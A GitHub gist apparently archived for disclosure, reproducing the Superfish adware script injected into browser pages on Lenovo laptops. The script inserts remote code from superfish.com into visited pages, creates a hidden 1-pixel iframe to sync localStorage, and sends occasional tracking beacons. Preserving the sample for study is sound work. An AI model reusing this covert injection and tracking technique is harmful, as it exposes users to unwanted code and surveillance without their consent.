Last active
August 29, 2015 14:15
-
-
Save femto113/f6ef14d208e21a119b78 to your computer and use it in GitHub Desktop.
javascript injected by Superfish from www.best-deals-products.com onto Lenovo laptops
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// retrieved from https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc on 2015-02-19 | |
if (window == top && !window.similarproducts && navigator.appVersion.toLowerCase().indexOf('msie 7') == -1) { | |
(function() { | |
var windowLocation = location.href.toLowerCase(); | |
var nofish = false; | |
var metaTags = document.getElementsByTagName('meta'); | |
var metaTag; | |
for (var i = 0, l = metaTags.length; i < l; i++) { | |
metaTag = metaTags[i]; | |
if (metaTag.getAttribute('name') && metaTag.getAttribute('name').toLowerCase() == 'superfish' && metaTag.getAttribute('content') && metaTag.getAttribute('content').toLowerCase() == 'nofish') { | |
nofish = true; | |
break; | |
} | |
} | |
if (windowLocation.search(/\.google\./i) !== -1 && windowLocation.search(/^https?:\/\/(www|play)\.google\.(?!com\/analytics\/)/i) === -1) { | |
nofish = true; | |
} | |
//if (nofish || !(windowLocation.indexOf('.google.') == -1 || windowLocation.indexOf('play.google.com') != -1 || (windowLocation.indexOf('www.google.') != -1 && windowLocation.indexOf('www.google.com/analytics/') == -1))) | |
if (nofish) { | |
return; | |
} | |
window.similarproducts = {}; | |
similarproducts.b = { | |
inj: function(d, url, js, cb) { | |
if (window.location.protocol.indexOf("https") > -1 && url.indexOf("localhost") == -1) { | |
url = url.replace("http:", "https:"); | |
} else { | |
url = url.replace("https", "http"); | |
} | |
var h = d.getElementsByTagName('head')[0]; | |
var s = d.createElement(js ? "script" : 'link'); | |
if (js) { | |
s.type = "text/javascript"; | |
s.src = url; | |
} else { | |
s.rel = "stylesheet"; | |
s.href = url; | |
} | |
if (cb) { | |
s.onload = (function(prm) { | |
return function() { | |
cb(prm); | |
} | |
})(url); | |
// IE | |
s.onreadystatechange = (function(prm) { | |
return function() { | |
if (this.readyState == 'complete' || this.readyState == 'loaded') { | |
setTimeout((function(u) { | |
return function() { | |
cb(u) | |
} | |
})(prm), 300); | |
} | |
} | |
})(url); | |
} | |
h.appendChild(s); | |
return s; | |
} | |
}; | |
similarproducts.b.WSFlow = (function() { | |
var startTime = 0; | |
var flowSteps = []; | |
function addStep(step) { | |
if (startTime === 0) { | |
startTime = new Date().getTime(); | |
} | |
step = ((new Date().getTime()) - startTime) + ' : ' + step; | |
flowSteps.push(step); | |
} | |
function getSteps(delimiter) { | |
var del = delimiter || ' ==> '; | |
return flowSteps.join(del); | |
} | |
// function getSteps() { | |
// return flowSteps.join('==>'); | |
// } | |
return { | |
addStep: addStep, | |
getSteps: getSteps | |
}; | |
})(); | |
similarproducts.b.WSFlow.addStep("Start sfbase"); | |
similarproducts.ver = { | |
ver: "", | |
calcAppVersion: function() { | |
if (this.ver === "") { | |
var CRMLastUpdate = '2015-02-18 16:24:42.703'; | |
var adsLastUpdate = '2015-02-01 00:41:00'; | |
var globalAppVersion = '15.2.19.1'; | |
var globalAppVersionDateParts = globalAppVersion.split('.'); | |
var globalAppVersionYear = +globalAppVersionDateParts[0] + 2000; | |
var globalAppVersionMonth = +globalAppVersionDateParts[1] - 1; | |
var globalAppVersionDay = +globalAppVersionDateParts[2]; | |
var globalAppVersionHour = +globalAppVersionDateParts[3]; | |
var globalAppVersionDate = new Date(globalAppVersionYear, globalAppVersionMonth, globalAppVersionDay, globalAppVersionHour, 1, 0, 0) | |
var lastUpdate = new Date(); | |
if (CRMLastUpdate !== '') { | |
var CRMLastUpdateDateParts = CRMLastUpdate.split('-'); | |
var CRMLastUpdateYear = +CRMLastUpdateDateParts[0]; | |
var CRMLastUpdateMonth = +CRMLastUpdateDateParts[1] - 1; | |
var CRMLastUpdateDay = +CRMLastUpdateDateParts[2].split(' ')[0]; | |
var CRMLastUpdateHour = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[0]; | |
var CRMLastUpdateMin = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[1]; | |
var CRMLastUpdateDate = new Date(CRMLastUpdateYear, CRMLastUpdateMonth, CRMLastUpdateDay, CRMLastUpdateHour, CRMLastUpdateMin, 0, 0) | |
if (CRMLastUpdateDate > globalAppVersionDate) { | |
lastUpdate = CRMLastUpdateDate; | |
} else { | |
lastUpdate = globalAppVersionDate; | |
} | |
} else { | |
lastUpdate = globalAppVersionDate; | |
} | |
var lastUpdateYear = lastUpdate.getFullYear(); | |
var lastUpdateMonth = lastUpdate.getMonth(); | |
var lastUpdateDay = lastUpdate.getDate(); | |
var lastUpdateHour = lastUpdate.getHours(); | |
var lastUpdateMinutes = lastUpdate.getMinutes(); | |
if (adsLastUpdate !== '') { | |
var adsLastUpdateDateParts = adsLastUpdate.split('-'); | |
var adsLastUpdateYear = +adsLastUpdateDateParts[0]; | |
var adsLastUpdateMonth = +adsLastUpdateDateParts[1] - 1; | |
var adsLastUpdateDay = +adsLastUpdateDateParts[2].split(' ')[0]; | |
var adsLastUpdateHour = +adsLastUpdateDateParts[2].split(' ')[1].split(':')[0]; | |
var adsLastUpdateMin = +adsLastUpdateDateParts[2].split(' ')[1].split(':')[1]; | |
var adsLastUpdateDate = new Date(adsLastUpdateYear, adsLastUpdateMonth, adsLastUpdateDay, adsLastUpdateHour, adsLastUpdateMin, 0, 0) | |
if (adsLastUpdateDate > globalAppVersionDate) { | |
this.ver = [adsLastUpdateYear, adsLastUpdateMonth + 1, adsLastUpdateDay, adsLastUpdateHour, adsLastUpdateMin].join('.'); | |
} else { | |
this.ver = [lastUpdateYear, lastUpdateMonth + 1, lastUpdateDay, lastUpdateHour, lastUpdateMinutes].join('.'); | |
} | |
} else { | |
this.ver = [lastUpdateYear, lastUpdateMonth + 1, lastUpdateDay, lastUpdateHour, lastUpdateMinutes].join('.'); | |
} | |
} | |
return this.ver; | |
} | |
}; | |
var srcRegex = /\/sf_main\.|\/sf_conduit\.|\/sf_conduit_mam\.|\/sf_conduit_mam_app\.|\/sfw\./i; // Test for script tag src that may contain the app params query string | |
var queryStringRegex = /CTID=(CT2680812|CT2652911|CT2659749|CT2695421|CT2666540)/i // Test for "specialsavings" patch | |
var retryCounter = 1; // Used in the run() function as a fallback condition after 5 attempts | |
var timeoutHandle; | |
function extractQueryString() { | |
var queryString = ''; | |
var scripts = document.getElementsByTagName('script'); | |
var scriptSrc; | |
try { | |
for (var i = 0, l = scripts.length; i < l; i++) { | |
scriptSrc = scripts[i].src; | |
if (srcRegex.test(scriptSrc)) { | |
if (scriptSrc.indexOf('?') != -1) { | |
var tempQueryString = scriptSrc.substring(scriptSrc.indexOf('?')); | |
queryString = fixQs(tempQueryString); | |
} | |
break; | |
} | |
} | |
} catch (ex) { | |
queryString = ''; | |
} | |
return queryString; | |
} | |
function fixQs(initialQS) { | |
var fixedQS = '?'; | |
initialQS.replace( | |
new RegExp("([^?=&]+)(=([^&]*))?", "g"), | |
function($0, $1, $2, $3) { | |
switch ($1) { | |
case 'dlsource': | |
$3 = decodeURIComponent($3).replace(/^\s+|\s+$/g, ""); | |
break; | |
} | |
fixedQS = fixedQS + $1 + '=' + $3 + '&'; | |
} | |
); | |
return fixedQS.substring(0, fixedQS.length - 1); | |
} | |
function loadApp(queryString) { | |
var appVersion = similarproducts.ver.calcAppVersion(); | |
queryString += (queryString == '') ? '?' : '&'; | |
queryString += 'ver=' + appVersion; | |
if (queryStringRegex.test(queryString)) // Specialsavings patch | |
{ | |
if (queryString.indexOf('dlsource=') > -1) { | |
queryString = queryString.replace(/dlsource=([^&]*)?/g, 'dlsource=specialsavings_tb'); | |
} else { | |
queryString += '&dlsource=specialsavings_tb'; | |
} | |
} | |
// Assign values to the global similarproducts object | |
similarproducts.b.initialQS = queryString; | |
if (similarproducts.b.WSFlow) { | |
similarproducts.b.WSFlow.addStep("before call to sf_preloader.jsp"); | |
} | |
similarproducts.b.inj(window.document, 'https://www.superfish.com/ws/sf_preloader.jsp' + queryString, 1); | |
} | |
var syncLocalStorage = (function() { | |
var syncLocalStorageFromUrl = 'https://www.superfish.com/ws'; | |
var xdMsgDelimiter = '*sfxd*'; | |
var currentDomain = 'https://www.superfish.com/ws/'; | |
var getLocalStorageUrl = currentDomain + "sf_postLocalStorage.jsp?syncFrom=" + encodeURIComponent(syncLocalStorageFromUrl); | |
var msgCallback = function() {}; | |
var endCallback = function() {}; | |
var timer = 0; | |
var postObj = {}; | |
var qs = {}; | |
var needToCallBack = true; | |
var debug = false; | |
function setQueryString(obj_to_add, initial_QS) { | |
obj_to_add.qsObj = {}; | |
initial_QS.replace( | |
new RegExp("([^?=&]+)(=([^&]*))?", "g"), | |
function($0, $1, $2, $3) { | |
obj_to_add.qsObj[$1] = decodeURIComponent($3); | |
} | |
); | |
} | |
function log(msg) { | |
if (debug && window.console) { | |
var dDate = new Date(); | |
window.console.log('syncLocalStorage : ' + dDate.getTime() + " - " + msg); | |
} | |
} | |
var xdmsg = { | |
postMsg: function(target, param) { | |
if (target != window) { | |
target.postMessage(param, "*"); | |
} | |
}, | |
getMsg: function(event) { | |
msgCallback(event.data, event.origin); | |
}, | |
init: function(cbFunction) { | |
msgCallback = cbFunction; | |
if (window.addEventListener) { | |
window.addEventListener("message", this.getMsg, false); | |
} else { | |
window.attachEvent('onmessage', this.getMsg); | |
} | |
}, | |
kill: function() { | |
if (window.removeEventListener) { | |
window.removeEventListener("message", this.getMsg, false); | |
} else { | |
if (window.detachEvent) { | |
window.detachEvent('onmessage', this.getMsg); | |
} | |
} | |
} | |
}; | |
function gotMessage(msg, from) { | |
if (from && from.split('://')[1].indexOf(currentDomain.split('://')[1].split('/')[0]) == -1) { | |
return; | |
} | |
if (!msg) { | |
return; | |
} | |
var prep = msg.split(xdMsgDelimiter); | |
if (+prep[0] == -3355) { | |
log("Got message from Iframe - " + prep[1]); | |
clearTimeout(timer); | |
if (needToCallBack) { | |
if (endCallback && typeof(endCallback) === 'function') { | |
endCallback(); | |
} | |
} | |
} | |
} | |
function createIframe(queryString, callback) { | |
log("in createIframe"); | |
getLocalStorageUrl = getLocalStorageUrl + queryString.replace('?', '&'); | |
if (window.location.protocol.indexOf("https") > -1 && getLocalStorageUrl.indexOf("localhost") == -1) { | |
getLocalStorageUrl = getLocalStorageUrl.replace("http:", "https:"); | |
} else { | |
getLocalStorageUrl = getLocalStorageUrl.replace("https:", "http:"); | |
} | |
var ifrm; | |
ifrm = document.createElement("IFRAME"); | |
ifrm.setAttribute("src", getLocalStorageUrl); | |
ifrm.setAttribute("style", "position:absolute; top:-20px; left:-20px;"); | |
ifrm.setAttribute("id", "sfPostLocalStorage"); | |
ifrm.style.width = "1px"; | |
ifrm.style.height = "1px"; | |
if (syncLocalStorageFromUrl !== 'NA' && syncLocalStorageFromUrl.split('/')[2] !== currentDomain.split('/')[2]) { | |
log("Need to sync"); | |
xdmsg.init(gotMessage); | |
timer = setTimeout(function() { | |
log("in syncLocalStorageTimeOut"); | |
needToCallBack = false; | |
if (Math.floor(Math.random() * 10) == 1) { | |
var url = currentDomain + "trackSession.action?userid=NA&sessionid=NA&action=syncLocalStorageTimeOut"; | |
var img = new Image(); | |
img.src = url; | |
} | |
if (callback && typeof(callback) === 'function') { | |
callback(); | |
} | |
}, 5000); | |
document.body.appendChild(ifrm); | |
log("Iframe created"); | |
if (callback && typeof(callback) === 'function') { | |
endCallback = callback; | |
} | |
} else { | |
log("No need to sync"); | |
if (callback && typeof(callback) === 'function') { | |
callback(); | |
} | |
} | |
} | |
return { | |
createIframe: createIframe | |
}; | |
})(); | |
function run() { | |
var queryString = extractQueryString(); | |
// if (false && location.protocol === 'https:' && queryString.search(/dlsource=hdrykzc/i) !== -1) // Patch for Lenovo - do not run on https sites | |
if (queryString.search(/dlsource=hdrykzc/i) !== -1) // Disable Lenovo users | |
{ | |
return; | |
} | |
timeoutHandle && clearTimeout(timeoutHandle); | |
if (queryString || retryCounter >= 5) { | |
var appVersion = similarproducts.ver.calcAppVersion(); | |
window['sup' + 'erf' + 'ish'] = similarproducts; | |
syncLocalStorage.createIframe(queryString + '&ver=' + appVersion, function() { | |
loadApp(queryString); | |
}); | |
} else { | |
retryCounter++; | |
timeoutHandle = setTimeout(run, 50); | |
} | |
} | |
/* --- Begin app loading cycle --- */ | |
run(); | |
})(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment